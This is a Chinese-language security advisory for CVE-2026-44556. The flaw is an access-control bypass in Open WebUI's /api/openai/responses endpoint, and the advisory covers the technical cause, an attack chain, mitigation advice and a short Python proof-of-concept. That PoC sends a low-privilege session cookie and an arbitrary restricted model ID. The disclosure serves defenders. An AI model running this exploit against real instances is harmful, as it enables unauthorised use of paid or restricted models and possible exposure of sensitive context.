CVE-2026-44556 CVSS 7.1 高危

CVE-2026-44556 Open WebUI访问控制漏洞

披露日期: 2026-05-15

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-44556

漏洞类型

访问控制绕过

CVSS评分

7.1 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Open WebUI

漏洞概述

Open WebUI是一个自托管的人工智能平台。在0.9.0版本之前，OpenAI路由器中的/responses端点存在访问控制漏洞。虽然主要聊天完成端点会检查模型所有权和组成员资格，但/responses代理仅验证用户会话有效性，未强制执行模型级别的访问控制。这导致任何经过身份验证的用户都可以通过向/api/openai/responses发送带有任意模型ID的POST请求，绕过权限检查直接与实例上配置的任何模型进行交互。

技术细节

该漏洞源于Open WebUI在处理通过OpenAI兼容接口的请求时，不同端点之间实施了不一致的访问控制策略。具体而言，generate_chat_completion端点正确实施了权限校验，包括检查用户是否拥有模型、是否属于特定组以及AccessGrants权限。然而，位于/api/openai/responses的代理端点仅调用了get_verified_user函数来确认用户已登录，而完全跳过了对目标模型ID的归属权验证。在利用方式上，攻击者首先需要拥有Open WebUI平台的合法账户（低权限即可）。登录获取有效会话后，攻击者构造特定的HTTP POST请求发送至/api/openai/responses端点。在请求体中，攻击者将model参数指定为原本无权访问的内部模型ID（例如管理员专用的GPT-4或其他付费模型）。由于服务器端缺乏对该模型ID与当前用户权限的比对检查，请求被直接转发给上游LLM提供商。这使得攻击者能够非法使用资源，导致资源滥用、数据泄露（若模型包含敏感上下文）以及服务可用性下降。

攻击链分析

STEP 1

1. 信息收集

攻击者识别出目标使用的是Open WebUI平台，并确认版本低于0.9.0。

STEP 2

2. 获取凭证

攻击者注册普通用户账户或使用现有的低权限账户登录，获取有效的会话凭证（Cookie或Token）。

STEP 3

3. 漏洞利用

攻击者向/api/openai/responses端点发送POST请求，并在请求体中将model参数设置为无权访问的高权限模型ID。

STEP 4

4. 非法访问

由于后端仅验证会话有效性，攻击者成功绕过权限检查，利用上游LLLM提供商的API接口生成响应。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL
url = "http://target-domain:3000/api/openai/responses"

# Valid session cookie for a low-privilege authenticated user
cookies = {
    "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}

# Payload targeting a restricted model ID
payload = {
    "model": "gpt-4-privileged-model-id", # Arbitrary model ID
    "messages": [
        {"role": "user", "content": "Exploit test"}
    ]
}

# Send the malicious request
response = requests.post(url, json=payload, cookies=cookies)

if response.status_code == 200:
    print("[+] Vulnerability exploited successfully!")
    print("Response:", response.text)
else:
    print("[-] Failed to exploit.")

影响范围

Open WebUI < 0.9.0

防御指南

临时缓解措施

建议立即将Open WebUI升级到0.9.0或更高版本以修复此漏洞。如果无法立即升级，应通过防火墙规则或反向代理配置，阻断外部对/api/openai/responses接口的访问，或仅允许受信任的IP地址访问。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表